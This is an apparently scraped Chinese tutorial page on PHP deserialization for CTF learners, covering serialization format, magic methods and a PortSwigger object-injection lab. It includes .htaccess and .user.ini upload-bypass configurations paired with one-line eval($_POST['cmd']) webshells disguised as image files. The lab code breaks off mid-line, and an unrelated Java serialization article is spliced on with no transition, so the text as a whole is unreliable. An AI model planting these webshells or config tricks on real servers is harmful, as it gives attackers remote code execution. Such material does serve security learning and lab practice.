CTFphp反序列化(一文入门)

Posted Sunny-Dog

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFphp反序列化(一文入门)相关的知识,希望对你有一定的参考价值。

php相关学习

#Author:SunnyDog

#Date:23-3-18

#考研er忙里抽闲也得学~

#已对一些错别字、md编辑器造成的错误进行了修改,对文中各部分有疑问欢迎探讨~

文章目录

一、php.ini中的auto_append_file和auto_prepend_file

include_path: 当使用函数include()、require()、fopen_with_path()等函数来寻找文件时,在没设置include_path的情况下,这些函数打开文件时默认是以web的根目录去寻找。当配置了include_path()后,这些php函数就会先在指定的include_path目录下面去搜索寻找。

auto_prepend_file: 指定在主文件之前自动解析的文件的名称。该文件就如同调用了require()或include()函数一样被包含了进来,因此使用了include_path。特殊值none禁用自动前缀。

auto_append_file: 指定在主文件之后自动解析的文件的名称。该文件同样是如同调用了require()或include()h函数一样被包含,因此使用了include_path.特殊值none禁止了自动后缀。

测试:

首先使用phpinfo()了解一下我的php.ini的位置

此时我写了三个程序

# index.php
<?php
    echo "我是一个主程序";
# append.php
<?php
    echo "I'm append test";
# prepend.php
<?php
    echo "I'm prepend test";

然后,在phpinfo()中确定好的php.ini中修改auto_prepend_file和auto_append_file的配置:

然后来运行index.php程序:

由图可看出auto_prepend_file与auto_append_file的原理

出现问题:在我更改了php.ini中的这两个配置后,起初发现运行index.php后并没有改变,于是重启了小皮的apache服务后解决。

二、.htaccess和.user.ini后门

.htaccess后门

.htaccess文件(分布式配置文件),提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及所有子目录。

.htaccess是Apache服务器的分布式配置文件的默认名称,换言之是个配置文件。当一个.htaccess文件放置在一个“通过Apache Web服务器加载”的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。

在一些黑名单过滤的情况下,若没有过滤.htaccess文件,即可通过创建.htaccess文件,来改写一些配置,从而达到上传后门的目的。

# .htaccess
<FilesMatch "1.png">
SetHandler application/x-http-php
</FilesMatch>
# 作用:将名为1.png的文件当作php类型的文件来进行执行

假设接下来就可以上传一个名为1.png的木马文件,植入后门,将其上传后,该文件虽文件后缀名为png,但会被当作php类型的文件进行解析,其中的一句话木马也能够被正常执行。

# 1.png	(一句话木马)
<?php @eval($_POST['cmd']);?>

.user.ini后门

php.ini是php的一个全局配置文件,对整个Web服务起作用,而.user.ini就是用户自定义的一个php.ini,可以利用它来构造后门。.user.ini利用范围很广,不仅限于Apache服务器,还适用于nginx服务器。当访问一个.php目录时,若当前目录下存在.user.ini文件,则会执行该配置文件中的内容。

使用:通过配置之前提到的auto_prepend_file或auto_append_file来自动包含指定文件,类似于在文件前调用了include()或require()函数,并且要知道,在php中,被包含的文件内容是在<?php?>体内部的,因此被包含的所有文件,无论是何种格式,都会被按照php文件进行解析

# .user.ini
auto_prepend_file=1.png
# 1.png
GIF89a
<?php eval($_POST['cmd']);?>

因此,通过使用.user.ini,我们可以任意指定包含一个文件,这个文件可以是我们自己上传的木马文件,从而通过该木马文件提供后门来获取当前服务器的webshell。

三、php序列化与反序列化

什么是序列化:序列化就是将数据按照更易存储、传输等,改变其原有格式进行保存的一种方式。

php序列化

相关函数语法:

string serialize(mixed $value)
# 参数:$value:要序列化的对象或数组
# 返回类型:string
<?php
    class Sunny 
        public $name = "Sunny";
        private $age = 66;
        protected $sex = "male";
        public $im_noob = true;
        public $null = null;
        public $sites=array('I', 'Like', 'PHP');

        public function echo_hi() 
            echo "hi noob!";
        
    

    $class = new Sunny();
    $serClass = serialize($class);
    print_r($serClass);
?>

使用该程序,我创建了一个Sunny类的对象$class,并对该对象进行序列化,将其通过print打印出来观察序列化结果

O:5:"Sunny":6:s:4:"name";s:5:"Sunny";s:10:" Sunny age";i:66;s:6:" * sex";s:4:"male";s:7:"im_noob";b:1;s:4:"null";N;s:5:"sites";a:3:i:0;s:1:"I";i:1;s:4:"Like";i:2;s:3:"PHP";

结构的含义(分为两部分)

  • 数据对象的结构:数据对象类型:数据名称长度:数据名称:对象个数

    eg:(O:5:“Sunny”:4)

  • 数据的结构:数据类型:数据名称长度:数据名称

​ eg:$name = “Sunny” ----------> s:4:“name”;s:5:“Sunny”;

序列化的各种结构:

类型:

类型结构
Strings:size:value;
Integeri:value;
Booleanb:value;
NullN;
Arraya:size:key definition:value definition;
ObjectO:strlen:object name:object size:…

访问控制不同对序列化后结构的影响:

public:

​ 序列化后无变化

​ eg:s:4:“name”;s:5:“Sunny”;

private:

​ 序列化后会变成**%00类名%00属性名**

​ eg:s:10:" Sunny age";i:66;

protected:

​ 序列化后会变成%00*%00属性名

​ eg:s:6:" * sex";s:4:“male”;

php反序列化

相关函数语法:

mixed unserialize(string $str)
# 参数:$str:序列化后的字符串
# 返回值:返回的是转换之后的值,为混合类型mixed
# mixed:可以接受多种类型,即转换为对应的类型
# 若传递的字符串不可反序列化,则返回False,并产生E_NOTICE
<?php
    class Sunny 
        public $name = "Sunny";
        private $age = 66;
        protected $sex = "male";
        public $im_noob = true;
        public $null = null;
        public $sites=array('I', 'Like', 'PHP');

        public function echo_hi() 
            echo "hi noob!";
        
    

    $class = new Sunny();
    $serClass = serialize($class);
    echo "序列化后的结果为:";
    print_r($serClass);

    $unserClass = unserialize($serClass);
    echo "</br>" . "反序列化后的结果为:" . "</br>";
    print_r($unserClass);
    
    echo "</br>";
    var_dump($unserClass);
?>
# print_r($serClass)的结果
序列化后的结果为:O:5:"Sunny":6:s:4:"name";s:5:"Sunny";s:10:" Sunny age";i:66;s:6:" * sex";s:4:"male";s:7:"im_noob";b:1;s:4:"null";N;s:5:"sites";a:3:i:0;s:1:"I";i:1;s:4:"Like";i:2;s:3:"PHP";
# print_r($unserClass)的结果
反序列化后的结果为:</br>Sunny Object
(
    [name] => Sunny
    [age:Sunny:private] => 66
    [sex:protected] => male
    [im_noob] => 1
    [null] => 
    [sites] => Array
        (
            [0] => I
            [1] => Like
            [2] => PHP
        )
)
# var_dump($unserClass)的结果
object(Sunny)#2 (6) 
  ["name"]=>
  string(5) "Sunny"
  ["age":"Sunny":private]=>
  int(66)
  ["sex":protected]=>
  string(4) "male"
  ["im_noob"]=>
  bool(true)
  ["null"]=>
  NULL
  ["sites"]=>
  array(3) 
    [0]=>
    string(1) "I"
    [1]=>
    string(4) "Like"
    [2]=>
    string(3) "PHP"
  

魔术方法

构造函数与析构函数

与我们在C++中学习的构造函数与析构函数的功能基本相同,在php中也同样有构造函数与析构函数

构造函数

构造函数是一种特殊的方法。主要用来在创建对象时初始化对象, 即为对象成员变量赋初始值,在创建对象的语句中与 new 运算符一起使用。

void __construct ([ mixed $args [, $... ]] )
function __construct( $par1, $par2 ) 
   $this->url = $par1;
   $this->title = $par2;

类中会默认存在一个没有参数的默认构造函数,但是当我们显示地声明了一个构造函数的话,默认的构造方法则会被取代,并且会在实例化一个类的对象时调用构造方法。

析构函数

析构函数(destructor) 与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。

void __destruct ( void )

测试构造函数与析构函数

<?php
    class testClass 
        function __construct() 
            print "这是构造函数\\n";
            $this -> name = "SunnyDog创建的类";
        
        function __destruct() 
            print "这是一个析构函数\\n";
            echo "销毁了" . $this -> name . "\\n";
        
    

    $obj = new testClass();
这是构造函数
这是一个析构函数
销毁了SunnyDog创建的类

__sleep()方法

public __sleep():array

当调用 serialize()函数序列化一个实例时,会首先检查该实例是否存在 __sleep()方法,如果该方法存在,则该方法会先被调用,然后才执行序列化操作。否则使用默认的序列化方式。

此功能可以用于清理对象,并**返回一个包含对象中所有应被序列化的变量名称的数组,**如果该方法未返回任何内容,则 **null**被序列化,并产生一个 **E_NOTICE**级别的错误。

__wakeup()方法

public __wakeup():void

与之相反,unserialize()会检查是否存在一个 __wakeup()方法。如果存在,则会先调用 __wakeup方法,预先准备对象需要的资源。

测试:

<?php
    class Sunny 
        public $name = "Sunny";
        private $age = 66;
        protected $sex = "male";
        public $im_noob = true;
        public $null = null;
        public $sites=array('I', 'Like', 'PHP');

        public function __sleep() 
            echo "调用了__sleep()函数\\n";
            return array('name');
        
        public function __wakeup() 
            echo "调用了__wakeup()函数";
        
    

    $class = new Sunny();
    $serClass = serialize($class);
    print $serClass . "\\n";
    $unserClass = unserialize($serClass);

调用了__sleep()函数
O:5:"Sunny":1:s:4:"name";s:5:"Sunny";
调用了__wakeup()函数

此处值得注意的是,如果我没有在__sleep()魔术方法中填写return的内容的话,由于执行了sleep魔术方法后会对生成的对象清理,那么就无法进行反序列化操作,则不会调用wakeup魔术方法。

__toString()方法

public __toString():string

__toString()方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;应该显示些什么

<?php
    class Sunny 
        public $name = "Sunny";
        private $age = 66;
        protected $sex = "male";
        public $im_noob = true;
        public $null = null;
        public $sites=array('I', 'Like', 'PHP');

        public function __construct($name) 
            $this -> name = $name;
        
        public function __toString() 
            return "被当作字符串了嘞~";
        

    

    $class = new Sunny("SunnyDog");
    echo $class;
?>
# 输出为:被当作字符串了嘞~

__invoke()方法

当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。

<?php
    class testClass 
        function __invoke($x, $y) 
            echo "执行了__invoke()方法\\n";
            return $x * $y;
        
    

    $class = new testClass();
    $result = $class(2, 3);
    echo "结果为:" . $result;
执行了__invoke()方法
结果为:6

属性重载

public __set(string $name,mixed &value):void

public __get(string $name):mixed

public __isset(string $name):bool

public __unset(string $name):void
  • 读取不可访问(protectedprivate)或不存在的属性的值时,__get()会被调用

  • 在给不可访问(protectedprivate)或不存在的属性赋值时,__set()会被调用

  • 当对不可访问(protectedprivate)或不存在的属性调用 isset()empty()时,__isset()会被调用

  • 当对不可访问(protectedprivate)或不存在的属性调用 unset()时,__unset()会被调用

<?php
Class User
    private $id = '0';
    public $name = 'admin';


    function __get($id)
    
        echo "You are no Permmison to get admin's id-----";
        echo" calling __get() "."</br>";
    
    function __set($id, $value)
    

        echo "You are no Permmison to change admin's id-----";
        echo " calling __set() "."</br>";
    
    function __isset($id)
    
        echo "calling __isset()"."</br>";
    
    function __unset($id)
    
        echo "calling __unset()"."</br>";
    


$obj = new User();

$obj->id; // 读取id,id为private类型,会执行__get()
print $obj->name; // 正常输出admin

echo '</br>';

$obj->id = 1; // 给id赋值,id为private,会执行__set()
$obj->name = "Deu"; // 正常给name赋值为Deu
print $obj->name; // 正常输出Deu

echo '</br>';

isset($obj->id); // id不可访问,执行__isset()
unset($obj->id); // id不可访问,执行__unset()
?>
You are no Permmison to get admin's id----- calling __get()
admin
You are no Permmison to change admin's id----- calling __set()
Deu
calling __isset()
calling __unset()

四、php反序列化漏洞

原理:

反序列化漏洞最根本的成因在于 反序列化函数unserialize()的参数是可控的:也就是说可以传入我们特殊构造的一个序列化后的对象。

php在反序列化的时候会调用 __wakeup / __sleep 等函数,可能会造成代码执行等问题。若没有相关函数,在析构时也会调用相关的析构函数,同样会造成代码执行。

另外 __toString / __call 两个函数也有利用的可能。

其中 __wakeup 在反序列化时被触发,__destruct 在GC时被触发, __toString 在echo时被触发, __invoke 在调用函数的方式调用一个对象时被触发。

利用思想:根据魔术方法函数中提供的功能构造合适的反序列化对象,在对象的销毁或反序列化时,调用了魔术方法,并传入我们构造的恶意参数造成攻击。

LAB:

实验地址:Lab: Arbitrary object injection in PHP | Web Security Academy

PRACTITIONER

This lab uses a serialization-based session mechanism and is vulnerable to arbitrary object injection as a result. To solve the lab, create and inject a malicious serialized object to delete the morale.txt file from Carlos’s home directory. You will need to obtain source code access to solve this lab.

You can log in to your own account using the following credentials: wiener:peter

本实验使用基于序列化的会话机制,因此容易受到任意对象注入的攻击。要解决该实验室问题,请创建并注入恶意序列化对象,以从 Carlos 的主目录中删除“morale.txt”文件。您将需要获得源代码访问权限才能解决此实验室问题。

您可以使用以下凭据登录到您自己的帐户:`wiener:peter`

进入靶场后,根据题目提示先使用wiener:peter登录,登陆成功,使用burp抓包:

确认存在序列化

从session的编码形式来看,大致可能是个base64编码,则对其尝试解码查看结果:

可以发现,其session传递的就是一个序列化的PHP类对象,此时可确定该页面传递用户的数据的方式为序列化。

寻找可利用的魔术方法(最难的一步)

访问当前MyCount看看访问过程中出现过哪些文件

接下来在target模块的site map中查看整个过程中出现过那些文件,其中找到一个CustomTemplate.php文件

但是在尝试访问该文件时,发现页面没有任何信息,考虑信息包含在了<?php?>内,因此我们无法直接查看到页面的源码,那么进行进一步操作。尝试将访问这个文件的包发送到Repeater模块中进行测试,发现也只是回显了200,无法查看内容

利用文件备份

一般,当开发者在编写文件时,在linux系统中,为了方便备份,一般开发者会选择直接使用指令cp index.php index.php~来对文件进行备份。

为什么要使用“~”作为后缀呢,因为它是ASCii表中最高位的可打印字符,当使用这种形式的命名方式时,该备份文件永远会跟在源文件的后面

此处我们也尝试使用这样的形式来访问CustomTemplate.php文件,由此可以成功获得该源码

# CustomTemplate.php
<?php

class CustomTemplate 
    private $template_file_path;
    private $lock_file_path;

    public function __construct($template_file_path) 
        $this->template_file_path = $template_file_path;
        $this->lock_file_path = $template_file_path . ".lock";
    

    private function isTemplateLocked() 
        return file_exists($this->lock_file_path);
    

    public function getTemplate() 
        return file_get_contents($this->template_file_path);
    

    public function saveTemplate($template) 
        if (!isTemplateLocked()) 
            if (file_put_contents($this->lock_file_path, "") 

一文带你全面了解java对象的序列化和反序列化

本文分享自华为云社区《java中什么是序列化和反序列化?》,原文作者:dayu_dls 。

这篇文章主要给大家介绍了关于java中对象的序列化与反序列化的相关内容,文中通过详细示例代码介绍,希望能对大家有所帮助。

1、序列化是干啥用的?

序列化的原本意图是希望对一个Java对象作一下“变换”,变成字节序列,这样一来方便持久化存储到磁盘,避免程序运行结束后对象就从内存里消失,另外变换成字节序列也更便于网络运输和传播,所以概念上很好理解:

  • 序列化:把Java对象转换为字节序列。
  • 反序列化:把字节序列恢复为原先的Java对象。

而且序列化机制从某种意义上来说也弥补了平台化的一些差异,毕竟转换后的字节流可以在其他平台上进行反序列化来恢复对象。

2、对象序列化的方式?

在Java中,如果一个对象要想实现序列化,必须要实现下面两个接口之一:

  • Serializable 接口
  • Externalizable 接口

那这两个接口是如何工作的呢?两者又有什么关系呢?我们分别进行介绍。

2.1 Serializable 接口

一个对象想要被序列化,那么它的类就要实现此接口或者它的子接口。

这个对象的所有属性(包括private属性、包括其引用的对象)都可以被序列化和反序列化来保存、传递。不想序列化的字段可以使用transient修饰。

由于Serializable对象完全以它存储的二进制位为基础来构造,因此并不会调用任何构造函数,因此Serializable类无需默认构造函数,但是当Serializable类的父类没有实现Serializable接口时,反序列化过程会调用父类的默认构造函数,因此该父类必需有默认构造函数,否则会抛异常。

使用transient关键字阻止序列化虽然简单方便,但被它修饰的属性被完全隔离在序列化机制之外,导致了在反序列化时无法获取该属性的值,而通过在需要序列化的对象的Java类里加入writeObject()方法与readObject()方法可以控制如何序列化各属性,甚至完全不序列化某些属性或者加密序列化某些属性。

2.2 Externalizable 接口

它是Serializable接口的子类,用户要实现的writeExternal()和readExternal() 方法,用来决定如何序列化和反序列化。

因为序列化和反序列化方法需要自己实现,因此可以指定序列化哪些属性,而transient在这里无效。

对Externalizable对象反序列化时,会先调用类的无参构造方法,这是有别于默认反序列方式的。如果把类的不带参数的构造方法删除,或者把该构造方法的访问权限设置为private、默认或protected级别,会抛出java.io.InvalidException: no valid constructor异常,因此Externalizable对象必须有默认构造函数,而且必需是public的。

2.3 对比

使用时,你只想隐藏一个属性,比如用户对象user的密码pwd,如果使用Externalizable,并除了pwd之外的每个属性都写在writeExternal()方法里,这样显得麻烦,可以使用Serializable接口,并在要隐藏的属性pwd前面加上transient就可以实现了。如果要定义很多的特殊处理,就可以使用Externalizable。

当然这里我们有一些疑惑,Serializable 中的writeObject()方法与readObject()方法科可以实现自定义序列化,而Externalizable 中的writeExternal()和readExternal() 方法也可以,他们有什么异同呢?

  • readExternal(),writeExternal()两个方法,这两个方法除了方法签名和readObject(),writeObject()两个方法的方法签名不同之外,其方法体完全一样。
  • 需要指出的是,当使用Externalizable机制反序列化该对象时,程序会使用public的无参构造器创建实例,然后才执行readExternal()方法进行反序列化,因此实现Externalizable的序列化类必须提供public的无参构造。
  • 虽然实现Externalizable接口能带来一定的性能提升,但由于实现ExternaLizable接口导致了编程复杂度的增加,所以大部分时候都是采用实现Serializable接口方式来实现序列化。

3、Serializable 如何序列化对象?

3.1 Serializable演示

然而Java目前并没有一个关键字可以直接去定义一个所谓的“可持久化”对象。

对象的持久化和反持久化需要靠程序员在代码里手动显式地进行序列化和反序列化还原的动作。

举个例子,假如我们要对Student类对象序列化到一个名为student.txt的文本文件中,然后再通过文本文件反序列化成Student类对象:

1、Student类定义

public class Student implements Serializable {

    private String name;
    private Integer age;
    private Integer score;
 
    @Override
    public String toString() {
        return "Student:" + '\\n' +
        "name = " + this.name + '\\n' +
        "age = " + this.age + '\\n' +
        "score = " + this.score + '\\n'
        ;
    }
 
    // ... 其他省略 ...
}

2、序列化

public static void serialize(  ) throws IOException {

    Student student = new Student();
    student.setName("CodeSheep");
    student.setAge( 18 );
    student.setScore( 1000 );

    ObjectOutputStream objectOutputStream = 
        new ObjectOutputStream( new FileOutputStream( new File("student.txt") ) );
    objectOutputStream.writeObject( student );
    objectOutputStream.close();
 
    System.out.println("序列化成功!已经生成student.txt文件");
    System.out.println("==============================================");
}

3、反序列化

public static void deserialize(  ) throws IOException, ClassNotFoundException {
    ObjectInputStream objectInputStream = 
        new ObjectInputStream( new FileInputStream( new File("student.txt") ) );
    Student student = (Student) objectInputStream.readObject();
    objectInputStream.close();
 
    System.out.println("反序列化结果为:");
    System.out.println( student );
}

4、运行结果

控制台打印:

序列化成功!已经生成student.txt文件
==============================================
反序列化结果为:
Student:
name = CodeSheep
age = 18
score = 1000

3.2 Serializable接口有何用?

上面在定义Student类时,实现了一个Serializable接口,然而当我们点进Serializable接口内部查看,发现它竟然是一个空接口,并没有包含任何方法!

试想,如果上面在定义Student类时忘了加implements Serializable时会发生什么呢?

实验结果是:此时的程序运行会报错,并抛出NotSerializableException异常:

我们按照错误提示,由源码一直跟到ObjectOutputStream的writeObject0()方法底层一看,才恍然大悟:

如果一个对象既不是字符串、数组、枚举,而且也没有实现Serializable接口的话,在序列化时就会抛出NotSerializableException异常!

原来Serializable接口也仅仅只是做一个标记用!!!它告诉代码只要是实现了Serializable接口的类都是可以被序列化的!然而真正的序列化动作不需要靠它完成。

3.3 serialVersionUID号有何用?

相信你一定经常看到有些类中定义了如下代码行,即定义了一个名为serialVersionUID的字段:

private static final long serialVersionUID = -4392658638228508589L;

你知道这句声明的含义吗?为什么要搞一个名为serialVersionUID的序列号?

继续来做一个简单实验,还拿上面的Student类为例,我们并没有人为在里面显式地声明一个serialVersionUID字段。

我们首先还是调用上面的serialize()方法,将一个Student对象序列化到本地磁盘上的student.txt文件:

接下来我们在Student类里面动点手脚,比如在里面再增加一个名为id的字段,表示学生学号:

public class Student implements Serializable {
    private String name;
    private Integer age;
    private Integer score;
    private Integer id;

这时候,我们拿刚才已经序列化到本地的student.txt文件,还用如下代码进行反序列化,试图还原出刚才那个Student对象:

运行发现报错了,并且抛出了InvalidClassException异常

这地方提示的信息非常明确了:序列化前后的serialVersionUID号码不兼容!

从这地方最起码可以得出两个重要信息:

1、serialVersionUID是序列化前后的唯一标识符

2、默认如果没有人为显式定义过serialVersionUID,那编译器会为它自动声明一个!

第1个问题: serialVersionUID序列化ID,可以看成是序列化和反序列化过程中的“暗号”,在反序列化时,JVM会把字节流中的序列号ID和被序列化类中的序列号ID做比对,只有两者一致,才能重新反序列化,否则就会报异常来终止反序列化的过程。

第2个问题: 如果在定义一个可序列化的类时,没有人为显式地给它定义一个serialVersionUID的话,则Java运行时环境会根据该类的各方面信息自动地为它生成一个默认的serialVersionUID,一旦像上面一样更改了类的结构或者信息,则类的serialVersionUID也会跟着变化!

所以,为了serialVersionUID的确定性,写代码时还是建议,凡是implements Serializable的类,都最好人为显式地为它声明一个serialVersionUID明确值!

当然,如果不想手动赋值,你也可以借助IDE的自动添加功能,比如我使用的IntelliJ IDEA,按alt + enter就可以为类自动生成和添加serialVersionUID字段,十分方便:

两种特殊情况

1、凡是被static修饰的字段是不会被序列化的

2、凡是被transient修饰符修饰的字段也是不会被序列化的

对于第一点,因为序列化保存的是对象的状态而非类的状态,所以会忽略static静态域也是理所应当的。

对于第二点,就需要了解一下transient修饰符的作用了。

如果在序列化某个类的对象时,就是不希望某个字段被序列化(比如这个字段存放的是隐私值,如:密码等),那这时就可以用transient修饰符来修饰该字段。

比如在之前定义的Student类中,加入一个密码字段,但是不希望序列化到txt文本,则可以:

public class Student implements Serializable {
    private static final long serialVersionUID = -4392658638228508589L;
    private transient String name;
    private Integer age;
    private Integer score;
    private transient String passwd;

这样在序列化Student类对象时,password字段会设置为默认值null,这一点可以从反序列化所得到的结果来看出:

public static void serialize() throws IOException {

    Student student = new Student();
    student.setName("CodeSheep");
    student.setAge(18);
    student.setScore(1000);
    student.setPasswd("123");

4、实现Externalizable

public UserInfo() {
    userAge=20;//这个是在第二次测试使用,判断反序列化是否通过构造器
}
public void writeExternal(ObjectOutput out) throws IOException  {
    //  指定序列化时候写入的属性。这里仍然不写入年龄
    out.writeObject(userName);
    out.writeObject(usePass);
}
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException  {
    // 指定反序列化的时候读取属性的顺序以及读取的属性
    // 如果你写反了属性读取的顺序,你可以发现反序列化的读取的对象的指定的属性值也会与你写的读取方式一一对应。因为在文件中装载对象是有序的
    userName=(String) in.readObject();
    usePass=(String) in.readObject();
}

我们在序列化对象的时候,由于这个类实现了Externalizable 接口,在writeExternal()方法里定义了哪些属性可以序列化,哪些不可以序列化,所以,对象在经过这里就把规定能被序列化的序列化保存文件,不能序列化的不处理,然后在反序列的时候自动调用readExternal()方法,根据序列顺序挨个读取进行反序列,并自动封装成对象返回,然后在测试类接收,就完成了反序列。

Externalizable 实例类的唯一特性是可以被写入序列化流中,该类负责保存和恢复实例内容。 若某个要完全控制某一对象及其超类型的流格式和内容,则它要实现 Externalizable 接口的 writeExternal 和 readExternal 方法。这些方法必须显式与超类型进行协调以保存其状态。这些方法将代替定制的 writeObject 和 readObject 方法实现。

  • writeExternal(ObjectOutput out)
    该对象可实现 writeExternal 方法来保存其内容,它可以通过调用 DataOutput 的方法来保存其基本值,或调用 ObjectOutput 的 writeObject 方法来保存对象、字符串和数组。
  • readExternal(ObjectInput in)
    对象实现 readExternal 方法来恢复其内容,它通过调用 DataInput 的方法来恢复其基础类型,调用 readObject 来恢复对象、字符串和数组。

externalizable和Serializable的区别:

1、实现serializable接口是默认序列化所有属性,如果有不需要序列化的属性使用transient修饰。externalizable接口是serializable的子类,实现这个接口需要重写writeExternal和readExternal方法,指定对象序列化的属性和从序列化文件中读取对象属性的行为。

2、实现serializable接口的对象序列化文件进行反序列化不走构造方法,载入的是该类对象的一个持久化状态,再将这个状态赋值给该类的另一个变量。实现externalizable接口的对象序列化文件进行反序列化先走构造方法得到控对象,然后调用readExternal方法读取序列化文件中的内容给对应的属性赋值。

5、序列化的受控和加强

5.1 约束性加持

从上面的过程可以看出,序列化和反序列化的过程其实是有漏洞的,因为从序列化到反序列化是有中间过程的,如果被别人拿到了中间字节流,然后加以伪造或者篡改,那反序列化出来的对象就会有一定风险了。

毕竟反序列化也相当于一种 “隐式的”对象构造 ,因此我们希望在反序列化时,进行受控的对象反序列化动作。

那怎么个受控法呢?

答案就是: 自行编写readObject()函数,用于对象的反序列化构造,从而提供约束性。

既然自行编写readObject()函数,那就可以做很多可控的事情:比如各种判断工作。

还以上面的Student类为例,一般来说学生的成绩应该在0 ~ 100之间,我们为了防止学生的考试成绩在反序列化时被别人篡改成一个奇葩值,我们可以自行编写readObject()函数用于反序列化的控制:

private void readObject( ObjectInputStream objectInputStream ) throws IOException, ClassNotFoundException {

    // 调用默认的反序列化函数
    objectInputStream.defaultReadObject();

    // 手工检查反序列化后学生成绩的有效性,若发现有问题,即终止操作!
    if( 0 > score || 100 < score ) {
        throw new IllegalArgumentException("学生分数只能在0到100之间!");
    }
}

比如我故意将学生的分数改为101,此时反序列化立马终止并且报错:

对于上面的代码,为什么自定义的private的readObject()方法可以被自动调用,跟一下底层源码来一探究竟,跟到了ObjectStreamClass类的最底层,是反射机制在起作用!是的,在Java里,果然万物皆可“反射”(滑稽),即使是类中定义的private私有方法,也能被抠出来执行了,简直引起舒适了。

5.2 单例模式增强

一个容易被忽略的问题是:可序列化的单例类有可能并不单例

举个代码小例子就清楚了。

比如这里我们先用java写一个常见的「静态内部类」方式的单例模式实现:

public class Singleton implements Serializable {

    private static final long serialVersionUID = -1576643344804979563L;

    private Singleton() {
    }

    private static class SingletonHolder {
        private static final Singleton singleton = new Singleton();
    }

    public static synchronized Singleton getSingleton() {
        return SingletonHolder.singleton;
    }
}

然后写一个验证主函数:

public class Test2 {

    public static void main(String[] args) throws IOException, ClassNotFoundException {

        ObjectOutputStream objectOutputStream =
                new ObjectOutputStream(
                    new FileOutputStream( new File("singleton.txt") )
                );
        // 将单例对象先序列化到文本文件singleton.txt中
        objectOutputStream.writeObject( Singleton.getSingleton() );
        objectOutputStream.close();

        ObjectInputStream objectInputStream =
                new ObjectInputStream(
                    new FileInputStream( new File("singleton.txt") )
                );
        // 将文本文件singleton.txt中的对象反序列化为singleton1
        Singleton singleton1 = (Singleton) objectInputStream.readObject();
        objectInputStream.close();

        Singleton singleton2 = Singleton.getSingleton();

        // 运行结果竟打印 false !
        System.out.println( singleton1 == singleton2 );
    }

}

运行后我们发现:反序列化后的单例对象和原单例对象并不相等了,这无疑没有达到我们的目标。

解决办法是:在单例类中手写readResolve()函数,直接返回单例对象:

private Object readResolve() {
    return SingletonHolder.singleton;
}
package serialize.test;

import java.io.Serializable;

public class Singleton implements Serializable {

    private static final long serialVersionUID = -1576643344804979563L;

    private Singleton() {
    }

    private static class SingletonHolder {
        private static final Singleton singleton = new Singleton();
    }

    public static synchronized Singleton getSingleton() {
        return SingletonHolder.singleton;
    }
 
    private Object readResolve() {
        return SingletonHolder.singleton;
    }
}

这样一来,当反序列化从流中读取对象时,readResolve()会被调用,用其中返回的对象替代反序列化新建的对象。

 

点击关注,第一时间了解华为云新鲜技术~

以上是关于CTFphp反序列化(一文入门)的主要内容,如果未能解决你的问题,请参考以下文章

2-Web安全——php反序列化漏洞

web安全PHP反序列化

Web安全之PHP反序列化漏洞

ctfshow web入门 反序列化 前篇 254-266

Web 安全 之 Insecure deserialization

PHP7:反序列化漏洞案例及分析